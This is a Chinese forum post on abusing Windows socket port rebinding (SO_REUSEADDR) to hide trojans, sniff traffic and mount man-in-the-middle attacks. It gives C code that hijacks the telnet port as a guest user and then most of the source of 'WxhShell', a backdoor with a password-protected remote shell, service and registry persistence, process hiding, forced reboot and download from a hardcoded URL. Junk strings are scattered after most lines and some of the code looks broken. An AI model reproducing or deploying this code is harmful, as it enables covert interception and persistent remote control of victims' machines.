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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: x }@P  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Mi} .  
feJl[3@tO  
  saddr.sin_family = AF_INET;  u]OYu  
8shx7"  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 9>@Vk vpY  
|=:<[FU  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ,1B` Ve  
xE rAs}|  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 DLN zH  
A">R-1R  
  这意味着什么?意味着可以进行如下的攻击: qP$)V3l  
OtbPr F5  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 \hWac%#  
c,:nWf  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Oye6IT"  
Jflm-Hhsf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 J$U_/b.mk  
g2?yT ?  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  p<<dj%  
V`8\)FFG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Q ZC\%X8j  
n1x"B>3  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 =!G{+&j  
P;eXUF+jn  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  \EXa 9X2  
xE{slDl  
  #include R9  Y@I  
  #include CEVisKcE:  
  #include "|Kag|(qB  
  #include    gquvVj1oT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   +4Fw13ADE  
  int main() OIIA^QyV  
  { wD:2sri  
  WORD wVersionRequested; l&*= .Zc7!  
  DWORD ret; A+j!VM   
  WSADATA wsaData; ~(#iGc]7  
  BOOL val; p: )=i"uL  
  SOCKADDR_IN saddr; LpL$=9  
  SOCKADDR_IN scaddr; cvQAo|  
  int err; sm;kg=  
  SOCKET s; +* j8[sz  
  SOCKET sc; '\GU(j  
  int caddsize; {VXucGI|  
  HANDLE mt; 1rS8+!9C  
  DWORD tid;   (AX$S vw  
  wVersionRequested = MAKEWORD( 2, 2 ); ! >V)x  
  err = WSAStartup( wVersionRequested, &wsaData ); M[+#*f.T}  
  if ( err != 0 ) {  fZ&' _  
  printf("error!WSAStartup failed!\n"); MMUlA$*t  
  return -1; Rt:^'Qi$!  
  } J7qTE8W=  
  saddr.sin_family = AF_INET; +,]VXH<y  
   kv6nVlI)B  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 0m=57c$O  
Ndmw/ae  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); B,&QI&k`~  
  saddr.sin_port = htons(23); B=$O4nW_b  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ksCF"o /@V  
  { rL&Mq}7QK  
  printf("error!socket failed!\n"); `23][V  
  return -1; d S'J@e=#  
  } !A1~{G2VL_  
  val = TRUE; B^]PKjLNZ  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 2gZ nrU  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) n I&p.i6  
  { ]31=8+D  
  printf("error!setsockopt failed!\n"); hSR+7qN<e  
  return -1; 7(oA(l1V  
  } ( Zd(?">i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; u1Slu%^e  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ~%C F3?e6  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 b$%Kv(  
<,rOsE6  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 0?( uqjD:  
  { E1tCY.N{  
  ret=GetLastError(); IM7<z,*oF  
  printf("error!bind failed!\n"); ]@ke_' "  
  return -1; }]PHE(}7  
  } G}^=(,jl  
  listen(s,2); lgS7;  
  while(1) jU7[z$GX  
  { 1kw*Q:   
  caddsize = sizeof(scaddr); Nh_\{ &r  
  //接受连接请求 11YJ W-V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); KYtCN+vsG  
  if(sc!=INVALID_SOCKET) 'vZIAnB8  
  { 16Jq*hKU  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); _@!vF,Wcf  
  if(mt==NULL) :i4(cap&}F  
  { 'QxJU$  
  printf("Thread Creat Failed!\n"); "C\yM{JZ  
  break; `=P_ed%&'  
  } #IZh}*$  
  } q(:L8nKT]  
  CloseHandle(mt); i9XpP(mf  
  } ;Tp9)UP)  
  closesocket(s); kj[box N  
  WSACleanup(); =CRptk6tS  
  return 0; -` ViuDX=  
  }   #` gu<xlW  
  DWORD WINAPI ClientThread(LPVOID lpParam) N+B!AK0.  
  { hN6wp_  
  SOCKET ss = (SOCKET)lpParam; `dG;SM$T,  
  SOCKET sc; H"8B4~*7H  
  unsigned char buf[4096]; 3&7? eO7*  
  SOCKADDR_IN saddr; h!%y,4IBR  
  long num; xxvt<J  
  DWORD val; 1x;@BV  
  DWORD ret; ZxSFElDD]E  
  //如果是隐藏端口应用的话,可以在此处加一些判断 (w)%2vZ^  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   jIT|Kk&]  
  saddr.sin_family = AF_INET; )Bn }|6`  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); T`fT[BaY  
  saddr.sin_port = htons(23); n19A>,m  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _7Y-gy#\a  
  { O5-GrR^yt  
  printf("error!socket failed!\n"); >pLJ ,Z  
  return -1; /~w*)e)  
  } &d2L9kTk  
  val = 100; .Iqqjk  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;9mRumLG"  
  { h`\ $8 oV  
  ret = GetLastError(); 4tLdqs  
  return -1; 03v+eT  
  } tm.60udbo  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) .ZF%$H  
  { g^+p7G  
  ret = GetLastError(); 9X 4[Zk  
  return -1; AZc= Bbh  
  } d; YKw1  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) >9A18xC  
  { :cWU,V  
  printf("error!socket connect failed!\n"); _MTZuhY  
  closesocket(sc); ydYsmTr  
  closesocket(ss); InbB2l4G  
  return -1; lr~ |=}^  
  } 7Qd$@  m  
  while(1) 7:?\1 a  
  { ~:7y!=8#  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 Gm:s;w-;v  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 b`D]L/}pr  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 A(E}2iP9=  
  num = recv(ss,buf,4096,0); Zw0KV%7hD  
  if(num>0) XJeWhk3R9  
  send(sc,buf,num,0); "ymR8 y'  
  else if(num==0) mP }<{oh`x  
  break; we`BqZV  
  num = recv(sc,buf,4096,0); ljZRz$y  
  if(num>0) ;hDk gp  
  send(ss,buf,num,0); T,9q~*"  
  else if(num==0) mbkt7. ,P  
  break; (@XQ]S}L  
  } OgIRI8L  
  closesocket(ss); N Nk  
  closesocket(sc); |8CxMs  
  return 0 ; g&y (-  
  } Pz0MafF|T  
s,#We} bv  
9!X3Cv|+L  
========================================================== 6?[P^{GpH  
G3^<l0?S  
下边附上一个代码,,WXhSHELL Xrb7.Y0d  
p2 1|  
========================================================== ,3_Sf?  
C\5G43`  
#include "stdafx.h" hQj@D\}  
E&kv4,  
#include <stdio.h> &^#iS<s1  
#include <string.h> * rlV E  
#include <windows.h> Up?RN%gq  
#include <winsock2.h> $?W2'Xm!V  
#include <winsvc.h> xAd@.^  
#include <urlmon.h> Jg=!GU/::  
RVm-0[m}  
#pragma comment (lib, "Ws2_32.lib") H; \C7w|  
#pragma comment (lib, "urlmon.lib") LJ <pE;`d  
m_0y]RfG  
#define MAX_USER   100 // 最大客户端连接数 \7b, Mz!  
#define BUF_SOCK   200 // sock buffer Y}R$RDRL  
#define KEY_BUFF   255 // 输入 buffer !i-t6f  
$|g1 _;(G  
#define REBOOT     0   // 重启 yR|2><A  
#define SHUTDOWN   1   // 关机 uc+{<E3,%  
kQbZ!yl>[  
#define DEF_PORT   5000 // 监听端口 082iE G  
.%n_{ab1  
#define REG_LEN     16   // 注册表键长度 @;OsHudd  
#define SVC_LEN     80   // NT服务名长度 7oF3^K'S  
'u v=D  
// 从dll定义API ?&wrz  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); KX9IC 5pR  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); QG?!XWz  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);  Ll; v[Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); w~v6=^  
0yC~"u[N Y  
// wxhshell配置信息 VB*c1i  
struct WSCFG { ;=0mL,  
  int ws_port;         // 监听端口 R q@|o5O  
  char ws_passstr[REG_LEN]; // 口令 <$-^^b(y  
  int ws_autoins;       // 安装标记, 1=yes 0=no 8%B_nVc  
  char ws_regname[REG_LEN]; // 注册表键名 +'g O%^{l  
  char ws_svcname[REG_LEN]; // 服务名 5@>hjXi"Y  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _f@,) n  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 d)-ZL*o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 $,by!w'e:l  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9Zl4NV&B  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 3?V'O6  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 I"czo9Yspd  
Jkj7ty.J  
}; :'Gn?dv|  
(.!9  
// default Wxhshell configuration }O~D3z4l0  
struct WSCFG wscfg={DEF_PORT, Kt*b) <  
    "xuhuanlingzhe", .Xp,|T  
    1, B(Yg1jAe  
    "Wxhshell", /~'C!so[v  
    "Wxhshell", KdozB!\  
            "WxhShell Service", I= :yfW  
    "Wrsky Windows CmdShell Service", gBV4IQ  
    "Please Input Your Password: ", fpQFNV  
  1, jGo%Aase  
  "http://www.wrsky.com/wxhshell.exe", M**Sus87Q  
  "Wxhshell.exe"  m,+PYq  
    }; Wtu-g**KN  
%%X/gvaJ  
// 消息定义模块 ktqFgU#rT  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -S]ercar  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pq+|*Y<|&  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; JzN "o'  
char *msg_ws_ext="\n\rExit."; hJ8&OCR }  
char *msg_ws_end="\n\rQuit."; QmSj6pB>  
char *msg_ws_boot="\n\rReboot..."; ! U@ETo  
char *msg_ws_poff="\n\rShutdown..."; ^jL)<y4`  
char *msg_ws_down="\n\rSave to "; 4 `l$0m@>  
Zex~ $r  
char *msg_ws_err="\n\rErr!"; }Jh.+k|_  
char *msg_ws_ok="\n\rOK!"; 51eZfJB  
fIpS P@$<  
char ExeFile[MAX_PATH]; (^B1Kt!<  
int nUser = 0; STu(I\9  
HANDLE handles[MAX_USER]; _hV34:1F  
int OsIsNt; 2*`kkS  
aO1.9! <v  
SERVICE_STATUS       serviceStatus; ?pJ2"/K   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; }!fIY7gv  
qh>An;:u  
// 函数声明 2|ee`"`  
int Install(void); ^-?^iWQ G  
int Uninstall(void); %6lGRq{/?  
int DownloadFile(char *sURL, SOCKET wsh); %6fnL~ A  
int Boot(int flag); >,zU=I?9Y  
void HideProc(void); ES,JdImZ|  
int GetOsVer(void); t5l<Lm)  
int Wxhshell(SOCKET wsl); (&*Bl\YoX  
void TalkWithClient(void *cs); [YlRz  
int CmdShell(SOCKET sock); `Qb!W45  
int StartFromService(void); tC1'IE-h  
int StartWxhshell(LPSTR lpCmdLine); 2va[= >_  
6E_~8oEl  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); aO |@w"p8  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); i88 5T '  
tAjT-CXg  
// 数据结构和表定义 ?7CdJgJp  
SERVICE_TABLE_ENTRY DispatchTable[] = lu>G=uCJ  
{ 7C2Xy>d~  
{wscfg.ws_svcname, NTServiceMain},  -+qg  
{NULL, NULL} |a[" ^ 2  
}; >nehyo:#  
5<GeAW8ns]  
// 自我安装 y<IHZq`C3  
int Install(void) '9vsv\A&  
{ .I{u[ "  
  char svExeFile[MAX_PATH];  1l}Am>}  
  HKEY key; ffB<qf)?G  
  strcpy(svExeFile,ExeFile); QN#Lbsd  
{1UU `d  
// 如果是win9x系统,修改注册表设为自启动 }n^}%GB  
if(!OsIsNt) { WB (?6"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { yhK9rcJq6}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A0.xPru1p  
  RegCloseKey(key); H^B,b !5i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { _{LmJ?!  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Wvd-be  
  RegCloseKey(key); F-~Xbz%  
  return 0; ~ c~j  
    } XkW@"pf&Fh  
  } /HqD4GDoug  
} [=-,i#4  
else { DKlHXEt>  
3M^`6W[;  
// 如果是NT以上系统,安装为系统服务 v7+|G'8M`  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); <VN< ~sz  
if (schSCManager!=0) %0815 5M  
{ 2l+'p[b0>  
  SC_HANDLE schService = CreateService 5M8   
  ( 7 oYD;li$k  
  schSCManager, JqN$B\J,  
  wscfg.ws_svcname, sSiZG  
  wscfg.ws_svcdisp, !"08TCc<  
  SERVICE_ALL_ACCESS, I2z7}*<u  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , |~Awm"  
  SERVICE_AUTO_START, %74f6\  
  SERVICE_ERROR_NORMAL, Z +<Y.*6  
  svExeFile, 3WfZzb+  
  NULL, )B @&q.2B=  
  NULL, bx".<q(  
  NULL, phwq#AxQ   
  NULL, l29AC}^  
  NULL 9 771D  
  ); M9yqJPS}B  
  if (schService!=0) )gR3S%Ju  
  { iIo>]\Pw  
  CloseServiceHandle(schService); w6B`_Z'f  
  CloseServiceHandle(schSCManager); pAEJ=Te  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); +@rc(eOwvN  
  strcat(svExeFile,wscfg.ws_svcname); giN(wPgYP  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { `Uk jr MO  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 6~k qU4lL  
  RegCloseKey(key); r^\Wo7q  
  return 0; 1@<>GDB9  
    } 8H SGOs =8  
  } Ga *  
  CloseServiceHandle(schSCManager); Pb :6nH=  
} S7hfwu&7F  
} ht5:kt`F  
y+VR D  
return 1; m )<N:|  
} y|.dM.9V  
l?beqw:  
// 自我卸载 l)0yv2[h  
int Uninstall(void) gE!`9#..  
{ 5YiBw|Z7 "  
  HKEY key; |1 LKdP  
~U4;YlQP  
if(!OsIsNt) { @] {:juD~  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { nx4E}8!Lh  
  RegDeleteValue(key,wscfg.ws_regname); -(.\> F  
  RegCloseKey(key); rg+3pX\{  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { %gx>|  
  RegDeleteValue(key,wscfg.ws_regname); EY!P"u;  
  RegCloseKey(key); '#8;bU  
  return 0; $2*&\/;-E!  
  } !]WC~#|{B  
} +Sdki::  
} C;!h4l7L  
else { AwGDy +  
3_k3U  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); /K#J63 ,  
if (schSCManager!=0) qfEB VS(  
{ 9!6yo  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); - e"XEot~  
  if (schService!=0) ?"q S%EH  
  { \A3yM{G~+  
  if(DeleteService(schService)!=0) { r;aP`MVO<  
  CloseServiceHandle(schService); 'Xzi$}E D  
  CloseServiceHandle(schSCManager); _N`pwxpsb  
  return 0; Tn3f5ka'  
  } ! J@pox-t  
  CloseServiceHandle(schService); gbRdng7(}  
  } -[`FNTTV C  
  CloseServiceHandle(schSCManager); GB_ m&t  
} 6<A3H$3b  
} ed)!Snz   
/2!"_?<L  
return 1; /waZ9  
} QCWk[Gx  
tlFc+3  
// 从指定url下载文件 @'!61'}f  
int DownloadFile(char *sURL, SOCKET wsh) &gR)bNIC_=  
{ eDSBs3k7H  
  HRESULT hr; S\UM0G}v  
char seps[]= "/"; 6.'+y1yS)  
char *token; {*C LWs4  
char *file; p{Gg,.f!HM  
char myURL[MAX_PATH]; /`Lki>"  
char myFILE[MAX_PATH]; 7u^6`P  
*ha9Vq@X  
strcpy(myURL,sURL); Vkb&' rXw+  
  token=strtok(myURL,seps); MPd#C*c  
  while(token!=NULL) M O/-?@w  
  { MY[" zv  
    file=token; AH], >i3  
  token=strtok(NULL,seps); ~qT+sc!t  
  } }a_: oR  
:r/rByd'  
GetCurrentDirectory(MAX_PATH,myFILE); 6A/|XwfE/v  
strcat(myFILE, "\\"); :1>R~2  
strcat(myFILE, file);  OkO"t  
  send(wsh,myFILE,strlen(myFILE),0); 9aC>gye!  
send(wsh,"...",3,0); vP'R7r2Yx  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); i,,>@R  
  if(hr==S_OK) 3r{'@Y =)Y  
return 0; e"|9%AW@<  
else WiviH#hF  
return 1; ix&hsNzD  
%3VwCuE  
} TniZ!ud  
~ab"q %  
// 系统电源模块 tY :-13F  
int Boot(int flag) D_9/|:N:  
{ LZ ID|-  
  HANDLE hToken; g%=\Wiit]  
  TOKEN_PRIVILEGES tkp; qW<: `y  
D1O7S]j  
  if(OsIsNt) { d*>M<6b-  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); =C\S6bF%  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "ej>1{3Y:=  
    tkp.PrivilegeCount = 1; % e1vq  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; xG}eiUbM`  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); s/To|9D  
if(flag==REBOOT) { {@ , L  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) U.6hLFcE  
  return 0; %r!#  
} LbYI{|_Js  
else { WD?V1:>+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) nQ(#'9  
  return 0; w pCS]2  
} 0`ib_&yI  
  } t583Q/1@  
  else { &1':s|c  
if(flag==REBOOT) { G+g`=7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) ?<LG(WY  
  return 0; X7 Za Q .  
} !7 ^He3  
else { }> 1h+O  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 2.lnT{  
  return 0; s{: Mu~v  
} <m6I)}K  
} Z?Q2ed*j  
 7:p]~eM)  
return 1; XWUT b\@  
} mpF_+Mn  
/pge7P  
// win9x进程隐藏模块 |(H|2]b4 =  
void HideProc(void) 1Ev+':%  
{ q}1$OsM  
) k2NF="o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1aDDl-8,  
  if ( hKernel != NULL ) ^#Y6 E  
  { V_1#7  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); z g j35  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); D8#q.OR]  
    FreeLibrary(hKernel); N*MR6~z4  
  } gdZVc9 _  
dB,#`tc=,  
return; 6;b 'j\jG  
} *h%G4M  
Gehl/i-  
// 获取操作系统版本 ppD ~xg]  
int GetOsVer(void) ,TtDCcjd%f  
{ :58'U|  
  OSVERSIONINFO winfo; 2r0!h98  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8{l=`y"nB  
  GetVersionEx(&winfo); 8WGM%n#q  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 3d<HIG^W}  
  return 1; S- \lN|  
  else (KMobIP^  
  return 0; .:raeDrd  
} j)DZmGg&t  
vWovR`  
// 客户端句柄模块 ;X6y.1N~  
int Wxhshell(SOCKET wsl) H7= z%Y9y  
{ o5@ jMU;  
  SOCKET wsh; rQm  
  struct sockaddr_in client; 7 tpZE+OX  
  DWORD myID; D` X6'PP  
D5b _m|7%  
  while(nUser<MAX_USER) R"o,m  
{ Lp WEu^j  
  int nSize=sizeof(client); TjK5UML  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); N6[^62  
  if(wsh==INVALID_SOCKET) return 1; .8!0b iS  
z\Y^x 9  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cZzZNGY^ts  
if(handles[nUser]==0) EI.Pk>ZIm  
  closesocket(wsh); @<=#i  
else Kc\'s65.]  
  nUser++; hUxhYOp  
  } 2vN(z %p  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); %Nl(Y@dD*  
O mIBk  
  return 0; gVJ#LJ  
} walRqlo@  
:*'?Ac ?  
// 关闭 socket ZC*d^n]x.  
void CloseIt(SOCKET wsh) \X.=3lc&  
{ &:#8ol(n5b  
closesocket(wsh); 7B!Qq/E?g  
nUser--; 'f7 *RSKqb  
ExitThread(0); 97wy;'J[u  
} yN<fmi};c  
# pB:LPEsK  
// 客户端请求句柄 @h$0S+?:  
void TalkWithClient(void *cs) cloSJmUlQ  
{ tB=D&L3  
Q]5^Eiq8  
  SOCKET wsh=(SOCKET)cs; o[[r_v_d  
  char pwd[SVC_LEN]; Q9xx/tUW  
  char cmd[KEY_BUFF]; 9Pp|d"6]y  
char chr[1]; lO:{tV  
int i,j; G=5t5[KC  
K[ gWXBP  
  while (nUser < MAX_USER) { U.7y8#qf3R  
xqC<p`?4  
if(wscfg.ws_passstr) { 9r+O!kF(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E5BgQ5'  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); * m&: Yje  
  //ZeroMemory(pwd,KEY_BUFF); `s> =Sn&UP  
      i=0; YQ@6innT  
  while(i<SVC_LEN) { 2 C]la  
Te@6N\g  
  // 设置超时 }`N2ZxC0AQ  
  fd_set FdRead; kTZx-7~  
  struct timeval TimeOut; rYFau1  
  FD_ZERO(&FdRead); 0yC`9g)(  
  FD_SET(wsh,&FdRead); RjGB#AK  
  TimeOut.tv_sec=8; -+=:+LhSMb  
  TimeOut.tv_usec=0; W _,;eyo  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); _`Q It>R  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); s >VEuLY*  
V}|v!h[O8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1!(%<R  
  pwd=chr[0]; VHT@s7u0"  
  if(chr[0]==0xd || chr[0]==0xa) { n1>,#|#  
  pwd=0; 2>}\XKF).  
  break; 4iv]N 4  
  } x]R(twi  
  i++; "?SOBA!vy  
    } KHlIK`r  
3Q$'qZw p  
  // 如果是非法用户,关闭 socket HD:%Yv  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); %+xwk=%*  
} j:e^7|.   
\5[D7}  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); uPFHlT  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9vp%6[  
wVp4c?s  
while(1) { [t.%&#baF  
P YF.#@":&  
  ZeroMemory(cmd,KEY_BUFF); zvGK6qCk  
pYfV~Q^3  
      // 自动支持客户端 telnet标准   lkg"'p{  
  j=0; -jVaS w t  
  while(j<KEY_BUFF) { 2>$F0 M  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); EDHg'q  
  cmd[j]=chr[0]; =a9etF%B  
  if(chr[0]==0xa || chr[0]==0xd) { afY_9g!\  
  cmd[j]=0; 0F+ zG)G"  
  break; B.YMP;7>  
  } B`*f(  
  j++; 7 DY WdDX  
    } 3ximNQ} S  
G'O/JM  
  // 下载文件 Z cm<Fw  
  if(strstr(cmd,"http://")) { ^XBzZ!h|  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); D1X4|Q*SK  
  if(DownloadFile(cmd,wsh)) K$GRJ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 2$ |]Vj*Zs  
  else ym|NT0_0  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); H|;*_  
  } `ke3+%uj o  
  else { }!%JYG^!D  
V uG?B{  
    switch(cmd[0]) { s.yq}Q  
  i<T P:  
  // 帮助 sno`=+|U]  
  case '?': { c~}={4M]  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); OXHvT/L`  
    break; 2W^B{ZS;  
  } N] 14  
  // 安装 e}42/>}#D  
  case 'i': { KVB0IXZC~  
    if(Install()) Q2/MnM  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 90/vJN  
    else MpO RGd  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e>l,(ql  
    break; Y[Q @WdE9  
    } U4>O\sU  
  // 卸载 Ia629gi5s  
  case 'r': { z % x7fe  
    if(Uninstall()) 0"EoC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9W!8gCs  
    else [X,A'Q  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~U6" ?  
    break; ]3*P:$Rq  
    } w *50ZS;N  
  // 显示 wxhshell 所在路径 /X4yB"J>  
  case 'p': { 5|ic3  
    char svExeFile[MAX_PATH]; o`bo#A  
    strcpy(svExeFile,"\n\r"); }e<'BIM E  
      strcat(svExeFile,ExeFile); /XcDYMKgh  
        send(wsh,svExeFile,strlen(svExeFile),0); *5'.!g('  
    break; NYBe"/}GS  
    } h#i\iK&A  
  // 重启 0n3D~Xzd  
  case 'b': { [,=d7*b(l  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); |h}B{D  
    if(Boot(REBOOT)) nH@(Y&S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ia2(Km  
    else { BQ#3QL't  
    closesocket(wsh); bAf,aV/C&|  
    ExitThread(0); $X*mdji  
    } Py|;kF~![  
    break; 7^$)VBQ/  
    } ?i~g,P]NK  
  // 关机 8pXKO"u],  
  case 'd': { -ynBi;nH  
